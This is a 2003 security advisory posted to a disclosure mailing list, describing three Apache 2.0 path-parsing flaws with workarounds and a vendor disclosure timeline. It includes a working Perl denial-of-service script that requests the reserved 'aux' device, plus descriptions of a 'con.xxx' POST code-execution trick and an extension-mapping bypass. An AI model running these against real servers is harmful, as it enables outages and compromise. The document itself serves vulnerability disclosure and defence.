Original Message: ----------------- From: mattmurphyat_private mattmurphyat_private Date: Wed, 22 Jan 2003 09:00:58 -0500 To: full-disclosureat_private Subject: Path Parsing Errata in Apache HTTP Server Path Parsing Errata in Apache HTTP Server ABSTRACT The Apache HTTP Server <http://httpd.apache.org/> powers a whopping two thirds of all internet web sites, offering such powerful features as SSI, pre-forked and multi-threaded MPMs, input and output filtering, advanced logging, dynamic actions, dynamic modules, reverse DNS, virtual hosting, and even SSL via a fully extensible interface. It operates on an incredible number of platforms, including nearly all major Unix variants, Novell Netware and Microsoft Windows; Apache has also been ported to cygwin. DESCRIPTION The Apache HTTP Server contains several flaws related to its path mapping routines that could enable an attacker to cause Apache to handle files incorrectly, cause a system-wide denial of service, or possibly execute arbitrary code. ANALYSIS Issue 1 (VU#979793): Exploitation of this condition leads to a remote denial of service against a Windows 9x system running Apache, and appears to be due to erroneous checks in the ap_directory_walk function. A denial of service can be caused with a web browser by requesting a reserved device such as "aux": --- Apache2-nuke.pl --- #!/usr/bin/perl use IO::Socket; if (@ARGV < 1 || @ARGV > 2) { print STDOUT "Usage: perl $0 <host> <port=80>"; exit; } if (@ARGV == 2) { $port = $ARGV[1]; } else { $port = 80; } $f = IO::Socket::INET->new(Proto=>"tcp", PeerHost=>$ARGV[0], PeerPort=>$port); print $f "GET /aux HTTP/1.0\r\n\r\n"; --- Apache2-nuke.pl --- The Apache 2.0.44 release announcement incorrectly states that previous Microsoft patches eliminate this vulnerability. There are some devices on Windows platforms that will hang the system if opened with certain file permissions masks. Issue 2 (VU#825177): Exploitation of this condition leads to a remote compromise. This issue is also restricted to Windows 9x versions of Apache, and has the same underlying cause as the previously noted denial of service condition. It is related to CGI input redirection. Specifically, when POSTing to a CGI, the stdin stream points to the input form data. By sending a POST to "con.xxx" in a ScriptAlias'ed directory, your POST data *may* be executed by that interpreter. Issue 3 (VU#384033): Exploitation of this condition could lead to bypass of default script mapping behavior. This flaw impacts Apache on all platforms. This issue is best described with an example: http://localhost/folder.php/file Apache should parse 'file' as plain text -- that is, simply returning it to the browser. However, an incorrect check in Apache's mapping algorithms, causes the 'php' extension to be associated with this request. Rather than checking only the file's extension, Apache checks for extensions in any path member, stopping at the first. This is more of a weakness than a vulnerability, as exploitation only yields UID nobody if you allow uploading under the docroot *and* filter by filename only, in which case you have far more serious concerns than the exploitation of this issue. DETECTION These issues are believed to be specific to the 2.0 branch; Apache 1.3.27 (and all other 1.x versions) are believed immune from these issues. Apache 2.0.43 and prior should be upgraded to the 2.0.44 release, which will be available from <http://httpd.apache.org/dist/httpd>. WORKAROUNDS * I recommend that servers running Windows 9x be upgraded to a production environment (Windows NT, 2000, or XP, for example). This offers a solution to VU#979793, and VU#825177. * A configuration workaround is available for VU#384033. For any directories allowing uploads, add the following lines: <Directory "/var/apache/htdocs/uploads/"> AllowOverride None Options -Includes -ExecCGI SetHandler default-handler </Directory> * All sites running Apache 2.0.43 and prior should be upgraded to 2.0.44 if impacted by these issues. DISCLOSURE TIMELINE December 4, 2002: securityat_private notified December 5, 2002: Confirmation response received from William Rowe, Jr. (wrowe@rowe-clan.net); auditing begins. December 5, 2002: certat_private contacted December 5, 2002: Automated response from CERT/CC incident response. December 9, 2002: Follow-up received from William Rowe, Jr. indicates that cause of reserved device issue has been identified. December 10, 2002: Initial patch binaries received from William Rowe, Jr. (libapr.dll and libhttpd.dll). Fix for reserved device flaw confirmed, but dot-in-path attack remains. December 10, 2002: CERT/CC response received from Chad Dougherty; vulnerability IDs are assigned. December 10, 2002: Reply to Chad Dougherty indicating that precise details of VU#825177 will not be immediately disclosed. December 10, 2002: Reply to William Rowe, Jr. requesting confirmation of status and receipt of VU#384033. December 10/11, 2002: Series of e-mail communications to clarify the impacts/origins of VU#384033; source of issue is identified. January 20, 2002: Apache 2.0.44 released January 22, 2002: Public disclosure -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ .
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